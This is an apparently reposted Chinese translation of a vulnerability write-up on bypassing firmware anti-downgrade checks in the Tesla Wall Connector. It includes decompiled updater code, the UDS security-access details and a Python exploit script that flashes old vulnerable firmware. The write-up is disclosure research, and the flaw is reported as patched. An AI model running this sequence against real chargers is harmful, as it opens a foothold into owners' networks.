文章总结: 文档揭示了特斯拉壁挂式充电桩固件更新机制中的安全漏洞,攻击者通过组合调用UDS例程0xFF00和0x201,可在不触发防降级检查的情况下将已签名旧版漏洞固件写入激活槽位。具体步骤为:先推送新版固件并通过验证写入分区表,再重新擦除槽位并注入旧固件后直接重启,引导程序因不校验防降级值而执行漏洞版本。该漏洞已被特斯拉修复,建议在引导层强制实施防降级校验。 综合评分: 87 文章分类: 漏洞分析,IoT安全,红队,渗透测试,实战经验
从特斯拉壁挂式充电桩端口连接器发起攻击-2 绕过防降级机制
原创
骨哥说事 骨哥说事
骨哥说事
2026年5月13日 09:30 新加坡
在小说阅读器读本章
去阅读
| | | — | | 声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
#
#
#
不想错过任何消息?设置星标↓ ↓ ↓
#
更新流程快速回顾
我们在第一篇文章中描述了通过单线CAN(Single-Wire CAN)的完整更新流程。简而言之:
- 打开一个UDS会话(类型
2)。 - 使用安全访问(Security Access, 等级
5,XOR-0x35算法)进行认证。 - 运行例程
0xFF00以准备并擦除备用槽(passive slot)。 - 向标识符
0x102写入0x0E,以标记该槽位为 “可通过UDS设置”。 - 使用
请求下载/传输数据/请求传输退出推送固件。 - 运行例程
0x201以验证新写入的镜像并切换槽位。 - 运行例程
0x202以重启。
作为提醒,AW-CU300使用两个固件槽位:一个激活槽(active,当前正在运行)和一个备用槽(passive,更新的目标)。成功更新后,槽位会发生翻转,新固件在下一次启动时变为激活状态。
版本 24.44.3 的变更
在将旧固件与版本 24.44.3 进行比对后,我们重点关注了 switch_to_new_firmware() 函数,该函数处理UDS例程 0x201:
int switch_to_new_firmware()
{
...
if ( settable_via_uds != 14 || !passive_firmware )
return1;
if ( passive <= 0
|| passive > passive_firmware->size
|| (v2 = check_signature(passive_firmware->start, passive)) != 0
|| !check_image_and_antidowngrade(nullptr) )
{
part_erase(flash_drv, passive_firmware->start, 0x14u);
v2 = 4;
}
else
{
part_write_layout(passive_firmware);
}
flash_drv_close(flash_drv);
passive_firmware = nullptr;
return v2;
}
check_image_and_antidowngrade() 是新增的。它会解析固件段,重新计算其CRC,然后调用 verify_firmware_segments_platform() 进行版本防降级(ratchet)比较:
int verify_firmware_segments_platform(int flash_drv, u32_t *segments, ...)
{
...
// 遍历段,寻找在 [0x100000 .. 0x100010] 窗口内结束的段中的版本描述符。
...
if ( buffer.next != (netif *)'NSRV'/* "VRSN" */ )
goto next_segment;
major = LOBYTE(buffer.ip_addr.addr);
minor = BYTE1(buffer.ip_addr.addr);
if ( buffer.netmask.addr == '2SRV'/* "VRS2" */
&& LOBYTE(buffer.gw.addr) > 1u )
firmware_ratchet = BYTE2(buffer.gw.addr);
else
firmware_ratchet = 0;
...
sub_1F04866C(¤t_ratchet); // 从PSM(持久存储管理器)读取当前版本防降级值
if ( current_ratchet <= firmware_ratchet
|| !call_psm_wrapper(...) )
{
return0; // 接受
}
log("Failure: Security ratchet downgrade prevented %d < %d",
firmware_ratchet, current_ratchet);
return-1;
}
版本信息被嵌入到固件段中(VRSN 代表版本,VRS2 代表防降级值),位于加载地址接近 0x100000 的段中。只有更新程序(updater)会解析这些信息,引导加载程序(bootloader)不会。在设备端,防降级值保存在PSM(持久存储管理器)中,并在激活具有更高防降级值的镜像时递增。
因此,在运行版本 24.44.3 的设备上,发送旧的 0.8.58 固件并调用例程 0x201 会以如下信息终止:
ERROR verify_firmware_segments_platform:145
Failure: Security ratchet downgrade prevented 0 < N
并且该槽位会立即被擦除。无法通过官方路径在闪存中保留旧镜像。
引导加载程序并不理会
在构建产物中被称作 boot2 的引导加载程序位于闪存中的固定地址,并且不属于特斯拉发布的任何固件更新的一部分。我们必须通过先前Pwn2Own原始漏洞利用已获取root权限的充电桩来转储其闪存以进行分析。
它在跳转到激活固件之前会执行多项检查:
- 魔数头(
SBFH)。 - 每个段的CRC32。
- 针对密钥库(keystore)中密钥的RSA签名验证。
但它没有关于安全防降级值的概念。任何具有有效签名和正确CRC的固件镜像都将被执行,无论其版本如何。无论是 boot2 还是引导ROM(bootrom)都没有实现安全启动。因此,防降级机制完全由一个代码片段 switch_to_new_firmware() 在一个时刻强制执行:即调用例程 0x201 时。
那么问题来了:我们能否在不调用例程 0x201 验证该镜像的情况下,将一个旧的、已签名的固件放入激活槽位?
一个槽位如何变为激活状态
例程 0xFF00 调用 prepare_passive_slot(),该函数根据当前的启动标志(boot flags)选择哪个物理槽位是”备用”的,然后擦除它:
int prepare_passive_slot(int a1, int a2, int a3)
{
partition_entry *f1, *f2;
int16_t v7 = 0;
if ( part_read_layout(a1, a2, a3)
|| (f1 = part_get_layout_by_id(1, &v7),
f2 = part_get_layout_by_id(1, &v7),
!f1)
|| !f2 )
{
passive_firmware = nullptr;
__und(0xFFu);
}
if ( (g_boot_flags & 3) != 0 ) // 我们是从槽位1启动的吗?
f2 = f1; // 那么备用槽就是槽位0
passive_firmware = f2;
...
if ( part_erase(flash_drv, dword_115200, dword_115204) < 0 )
...
return0;
}
part_get_layout_by_id() 是基于迭代器的:第一次调用返回id为1的第一个分区条目,第二次调用返回下一个。根据 g_boot_flags 的值,其中之一成为备用槽。
这里有很重要的一点:g_boot_flags是在启动时设置且永不更新的。它反映了我们是从哪个槽位启动的,而不是当前分区表所显示的。
part_write_layout() 函数负责切换槽位,它不触碰固件数据。它只通过递增每个槽位的生成计数器(generation counter)来重写分区表:
int part_write_layout(partition_entry *a1)
{
...
if ( /* a1 matches f1 */ )
v3->gen_level = v4->gen_level + 1;
elseif ( /* a1 matches f2 */ )
v4->gen_level = v3->gen_level + 1;
else
return-23;
// 擦除 + 重写4KB的分区表区域
part_erase(v8, partition_table_addr, 0x1000);
flash_write(v8, &dword_129B7C, 16);
flash_write(v8, byte_1299FC, 24 * word_129B82);
flash_write(v8, &checksum, 4);
...
}
启动时,引导加载程序会选择 gen_level 最高的槽位。因此,要让一个槽位在下一次启动时变为激活状态,你只需要让 part_write_layout() 在成功执行一次针对该槽位的操作即可。此后其内容发生什么变化都无关紧要。
绕过方法
总结一下:例程 0xFF00 基于 g_boot_flags(它在会话期间永不改变)擦除物理备用槽,例程 0x201 验证槽位内容并写入分区表布局,而引导加载程序信任分区表而无需检查防降级值。
基于以上信息,绕过步骤如下:
- 将一个有效的、最新的固件发送到备用槽。调用例程
0x201。验证通过;分区表布局被写入,因此该槽位现在拥有最高的gen_level。 - 在不重启的情况下,再次调用例程
0xFF00。因为g_boot_flags没有改变,所以相同的物理槽位被选为备用槽,而我们刚刚验证过的固件被擦除。分区表未被触碰。 - 将一个旧的、已签名但存在漏洞的固件发送到现在空的槽位。
- 完全跳过例程
0x201(我们不需要它,并且它会拒绝该镜像)。只需调用例程0x202重启设备。
重启时,引导加载程序读取分区表,选择具有最高 gen_level 的槽位(即我们刚刚重写的那个槽位),验证其签名(仍然是有效的,它是一个正确签名的固件),然后跳转执行。防降级检查从未针对旧镜像运行过。
漏洞利用
我们的漏洞利用是对Pwn2Own汽车模拟器的一个小扩展。单线CAN设置、GPIO时序、UDS连接:全部保持不变。只有更新序列被加倍了:
with Client(conn, config=uds_config) as client:
client.set_config('security_algo', tesla_uds_algo)
client.change_session(2)
client.unlock_security_access(5)
# 1. 推送一个有效的、最新的固件,并让例程 0x201 为我们写入分区表布局。
client.routine_control(routine_id=0xFF00, control_type=1)
client.write_data_by_identifier(0x102, 0x0E)
data = open("firmwares/WC3_RELEASE_FLEET_24.44.3.prodsigned.bin","rb").read()
send_firmware_data(client, data)
client.routine_control(routine_id=0x201, control_type=1) # 写入布局
sleep(1)
# 2. 重新准备同一个物理槽位。有效固件被擦除;分区表保持不变。
client.routine_control(routine_id=0xFF00, control_type=1)
client.write_data_by_identifier(0x102, 0x0E)
data = open("firmwares/WC3_PROD_OTA_08.58.bin","rb").read()
send_firmware_data(client, data)
sleep(1)
# 3. 重启。引导加载程序将启动旧固件,因为分区表仍然显示此槽位是激活槽位。
client.routine_control(routine_id=0x202, control_type=1)
在33.3 kbps的SWCAN总线上,总运行时间大约为30分钟:这是原始Pwn2Own时间的两倍,因为需要两次通过线缆发送完整的固件镜像。重启后,0.8.58 版本重新接管控制,原始攻击链的其余部分(UDS泄露Wi-Fi凭据、telnet到调试Shell、参数解析器中的缓冲区溢出漏洞利用)完全照常工作。
结论
由于防降级机制只存在于更新程序中,并且引导加载程序不检查防降级值,所以任何在提交分区表布局后覆盖槽位内容的操作序列都可以绕过它。例程 0xFF00 正好允许我们这样做:在布局写入后擦除固件,然后写入任何我们想要的内容。
在引导加载程序中强制执行防降级检查可以弥补这一缺陷。其他方案:让例程 0xFF00 在擦除槽位时使分区表布局条目失效,这样被擦除后重写的槽位永远不会被选为可启动的。或者,在成功更新后强制重启,或者在例程 0x201 成功后拒绝任何新的更新会话。
我们已将此漏洞报告给特斯拉,并在几个月前的固件更新中修复。与第一篇文章一样,壁挂式充电桩通常位于家庭或企业网络中,通过其充电线缆被攻陷的充电桩会成为攻击者进入该网络的立足点。好的一面是,特斯拉通过OTA自动部署更新至已连接的充电桩意味着修复可以快速覆盖大多数设备,从而在实践中减少了暴露窗口。
原文:https://www.synacktiv.com/en/publications/exploiting-the-tesla-wall-connector-from-its-charge-port-connector-part-2-bypassing
- END –
感谢阅读,如果觉得还不错的话,动动手指给个三连吧~
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:骨哥说事 骨哥说事 骨哥说事《从特斯拉壁挂式充电桩端口连接器发起攻击-2 绕过防降级机制》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论